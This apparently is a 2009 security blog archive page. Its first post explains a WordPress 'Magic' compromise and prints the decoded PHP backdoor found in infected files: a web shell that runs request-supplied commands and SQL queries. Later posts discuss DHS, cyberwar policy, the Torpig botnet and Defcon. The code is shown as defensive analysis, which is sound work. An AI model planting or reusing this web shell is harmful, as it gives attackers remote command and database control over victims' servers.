Server at Magic Requires Username Password

August 7, 2009

The Wordpress “Magic” hack!

If your getting this message: “The server (our server domain, e.g. DOMAIN.COM) at Magic” Then you likely have infected code in your wordpress blog.

Wordpress Magic Attack

Wordpress user Yokima reported this very slick hack.

FIX ACTION:
And the fix is to update your blog. This will fix the issue. Make sure you change your password if you actually put your information in that “serve at Magic” message box. Although updating the the wordpress blog definitely fixes the issue, you may have to reload your pluggins too because they may also have some infect code. Doing further research on this matter.

From RocketWood:
We noticed that the code injected into the files was run through an eval and a decode so we decoded the string and found this php code:

{


if (!function_exists('______safeshell'))
{
function ______safeshell($komut) {
@ini_restore("safe_mode");
@ini_restore("open_basedir");
$disable_functions = array_map('trim', explode(',', ini_get('disable_functions')));
if (!empty ($komut)) {
if (function_exists('passthru') && !in_array('passthru', $disable_functions)) {
//@ ob_start();
@ passthru($komut);
//$res = @ ob_get_contents();
//@ ob_end_clean();
}
elseif (function_exists('system') && !in_array('system', $disable_functions)) {
//@ ob_start();
@ system($komut);
//$res = @ ob_get_contents();
//@ ob_end_clean();
}
elseif (function_exists('shell_exec') && !in_array('shell_exec', $disable_functions)) {
$res = @ shell_exec($komut);
echo $res;
}
elseif (function_exists('exec') && !in_array('exec', $disable_functions)) {
@ exec($komut, $res);
$res = join("\n", $res);
echo $res, "\n";
}
elseif (@ is_resource($f = @ popen($komut, "r"))) {
//$res = "";
while (!@ feof($f)) {
//$res .= @ fread($f, 1024);
echo(@ fread($f, 1024));
}
@ pclose($f);
}
else
{
$res = {$komut};
echo $res;
}
}
}
};
if (isset ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'])) {
echo "
\n";
if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'eval') {
eval(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);
}
else if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'exec') {
______safeshell(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);
}
else if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'query') {
$result = mysql_query(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd'], $wpdb->dbh);
if (!$result)
{
echo "php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_FAILED: ", mysql_error($wpdb->dbh), "\n";
die();
}
else if (is_resource($result))
{
$res = array();
while ($row = mysql_fetch_assoc($result))
{
$res[] = $row;
};
mysql_free_result($result);
echo serialize($res);
die();
}
else
{
echo "php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_SUCCEEDED: ", mysql_affected_rows($wbdb->dbh), " rows affected\n";
die();
}
};
echo "\n\n";
die();
};

};

p.s: don’t feel too bad, even the security masters get hacked by malicious S.O.B’s.

Popularity: 1% [?]

Written by elamb.security · Filed Under Computer Security, I got hacked, Internet and Information Technology Security, Main Digg, blogging/blog hack, hackers, hacking, information assurance, security, wordpress

Jeff Moss + DHS = Super Security

June 9, 2009

“Godfather of Hackers” Jeff Moss, founder of the Black Hat and Defcon hacker and security conferences, was sworn in as one of the new members of the Department of Homeland Security’s Advisory Council (HSAC). And we think it’s a shrewd and thoughtful move. Obama seems to be getting serious about cyber security now by hiring “Dark Tangent.”

on gizmodo

Jeff Moss is not only a celebrity in the world of hacking, he is also a powerbroker. He is a respected force to be reckoned with. I am not going to say that I think he is some sort of cyber mafia boss but I will say that he could destroy just about anyone with a 100 word post on a forum. Getting “street cred” in the hacker world is something that must be truly earned usually by technical expertise proven by hundreds or even thousands of your hacker peers validated by published technical papers, famous/infamous system infiltrations, the discovery of 0-day exploits that make major corporations take notice, or some combination of these.

Jeff has his finger on the pulse of the entire spectrum of hacking.

Jeff is now going to advise the president.

Now that is good judgement.

Popularity: 2% [?]

Written by elamb.security · Filed Under DHS, Defcon, Main Digg, hackers

You Hack US, We Nuke You!

May 28, 2009

The United States’ top commanding officer for the space and cyber domains told reporters last week that a cyber attack could merit a more conventional military response.

During a press briefing on Thursday, U.S. Air Force General Kevin Chilton, who heads the U.S. Strategic Command, told reporters that top Pentagon advisors would not rule out a physical attack on any force that attacks the United States through the Internet. Currently, the military’s networks are probed thousands of times a day, but the goal of attackers seems to be espionage, not to take down critical networks, he told reporters –

– Security Focus

I don’t believe that military force is the equivalent action for a cyber attack. Arrest and/or apprehension is the physical response necessary for criminal hackers attacking from other countries. Cyber counter-attacks are the correct response for government funded & coordinated attacks.

I think if the U.S. reciprocates a cyber attack x10 when other countries are playing little games, we’d get our message across effectively. We should do so in a well funded and covert way in which the enemy has NO DOUBT that the face slap came from a U.S, hand, but no proof at all allowing plausible deniability. It should be black Ops hacks, very well coordinated, very well funded and full time.

I don’t think the US can be complacent or wrecklessly meek in matters of cyber warfare. Instead, it must be fair, quiet and heavy handed when it comes to one of its most valuable asset, information.

Popularity: 5% [?]

Written by elamb.security · Filed Under Defcon, I got hacked, Internet and Information Technology Security, Main Digg, Security Awareness, Security Management, Super GEEK, System security engineering, hackers, hacking, information assurance, security, vulnerabilities

Weaponized Hacking

May 27, 2009

This is not your momma hacking. This is militarized hacking, Pentagon style. It is state funded with the intent of allowing the killing of people and the breaking of things.

“U.S. Defense Department officials were so impressed with the level of coordination between ground military ops and cyberattacks against strategical targets during the recent conflicts, that they are now looking for ways to weaponize hacking. Aviation Week glanced at such a device and reports that it is being designed to be easily used even by non-techy soldiers.”
softpedia

Welcome to the neo-CyberArms race! Where uncontrollable cyber weapons that can turn off cities and detonate public utility plants with the touch of a button! This is not the beginning of a William Gibson novel, this is not the synopsis of Snow Crash, or the theme of a cyberpunk trilogy this is reality… virtual reality.

On a serious note, I think China has already weaponized hacking. Hopefully, this is not the first time the US has thought about this.

Popularity: 3% [?]

Written by elamb.security · Filed Under Main Digg, hackers, hacking, security

Torpig Botnet Hijacked

May 5, 2009

Brett Stone-Gross, Marco Cova, Lorenzo Cavallaro, Bob Gilbert, Martin Szydlowski, Richard Kemmerer, Chris Kruegel, Giovanni Vigna of the Security Group Department of Computer Science University of California in Santa Barbara hacked into a botnet called Torpig.

Torpig gathers credit card, bank accounts and other sensitive data and sends it to criminals. The botnet had stolen 70 GB of data.

The security group took advantage of the open, decentralized nature of peer-to-peer to infiltrate it. Victims are infected by drive-by-download attacks.

They use phishing sites and advertise them on google, facebook, myspace and other popular sites. They also use email. To hijack the botnet they exploited a vulnerability in the way the malware generates a list of domains it contacts.

http://www.cs.ucsb.edu/~seclab/projects/torpig/torpig.pdf

Not becoming a victim in the first place is the most ideal situation, however. The researchers concluded that victims of botnets are usually those with poorly maintained machines and who choose “easily guessable” passwords. ” This is evidence that the malware problem is fundamentally a cultural problem,” reads the report. “Even though people are educated and understand well concepts such as the physical security and the necessary maintenance of a car, they do not understand the consequences of irresponsible behavior when using a computer.” – Jacqui Chen

Popularity: 4% [?]

Written by elamb.security · Filed Under Main Digg, hackers, hacking

Pentagon Hacked Via Major Companies

April 21, 2009

21 April 2009. Recently hackers got into the Pentagon through connection to the Northrop & Lockheed networks. The hackers originated from China. The Chinese, of course, “opposes and forbids all forms of cyber crimes.”

They stole some data related to the $300 billion dollar Joint Strike Fighter project.

Maybe its time to tight the security between military and civilian enclaves. Just an idea. Realistically companies that have that much involvement in projects like this should actually have the same level of security as the Pentagon. Otherwise all the Pentagon’s security is useless due to the Northop/Lockheed backdoor.

Popularity: 4% [?]

Written by elamb.security · Filed Under Main Digg, hackers

where the hell is DC719?

April 3, 2009

I’ve been thinking of going to Defcon17 this year, but I’m reluctant because I keep remembering how lonely I was the last time I went Defcon14. There I was at the MECCA of all things security basking in the glow of technological brilliance and completely alone.

Everyone seems to have a crew there. All loners I meet are to paranoid to talk to anyone. So I end up going from lecture to lecture alone. Don’t get me wrong. I like learning new things.. But too often I feel like it was something I could have just watched on TV (if it was on TV). I want to get more involved, but I don’t have skills or the time to dedicate to another mega hobby like Hacking.

So I thought about rolling out with DC719 (my local defcon group), but I’ve yet to find them. dc719.org seems to have not paid their bill or something. I heard they are all crazy gun nuts, which I think is pretty awesome. Guns and hacking seems like my kind of crowd. Strange, huh?

Anyway, dc719.. if your out there hit me up .. I might want to roll with you guys [or at least say hi]. elamb[dot]security[at]gmail.com

Popularity: 5% [?]

Written by elamb.security · Filed Under Defcon, I got hacked, Main Digg, hackers, hacking

Al Qaeda Sites getting Hacked

October 23, 2008

This was an article that really cheered me up today. Al Qaeda websites are still getting hacked constantly. Sometimes it seems that the free world is WAY off on the “War on Terror”. With most resources going to Iraq, political rhetoric and pandering and the almost complete absence of anyone talking about capturing and/or killing Osama bin Laden, its easy to get discouraged. Its good to see that the cyberwar is still being waged on those who promote and or support terrorism.

Octavia Nasr | BIO
CNN senior editor for Arab affairs

A hacking war is raging on Jihadi websites. Radical Islamist sites have been attacking and getting attacked for quite some time. The website hacking practice was common in 2001 and 2002… Following the 9/11 attacks when al Qaeda used only one website to communicate its messages to supporters and foes alike. That website was called alneda.com. It was getting constantly hacked… sometimes several hackings a day. After every hacking the site managed to resurface on the net until it disappeared from the scene in 2004 to be replaced by other websites — What started as one al Qaeda-linked site mushroomed into dozens which branched out into hundreds of supporting sites that serve as dissemination centers over the internet.

More.

Popularity: 9% [?]

Written by elamb.security · Filed Under Defcon, I got hacked, Main Digg, Other Stuff, hackers, hacking, security

Neuromancer

June 18, 2008

Physicists, mathematicians, futurists and sci-fi writers are the ne0-prophets of our time. Einstein, Max Plank, William Gibson, Georg Cantor are the new world prophets determining the probable future transfinite realities among absolute infinity.

Neuromancer is an example of probable futures. It is THE work of fiction by William Gibson that popularized the cyberpunk genre. In the book, Gibson actually coined the phrase cyberspace and the matrix, a multi-diminsional virtual reality that allows users to jack their brain directly into the cyberspace.

Case is a hacker is hired to do the biggest hack ever. The book is brilliant. Some of my favorite characters are Molly, the assassin, who looks like this:

and Wintermute, the corporation/Artificial intelligence and Maelcum A member of Zion, a Rastafarian space station community.

A year here and he still dreamed of cyberspace, hope fading nightly.
All the speed he took, all the turns he’d taken and the corners
he’d cut in Night City, and still he’d see the matrix in his
sleep, bright lattices of logic unfolding across that colorless void. . .

Its such a brilliant piece of work that I am surprised it hasn’t been made into a movie yet.

Popularity: 4% [?]

Written by elamb.security · Filed Under Main Digg, Super GEEK, crypto, cryptography, hackers, security fiction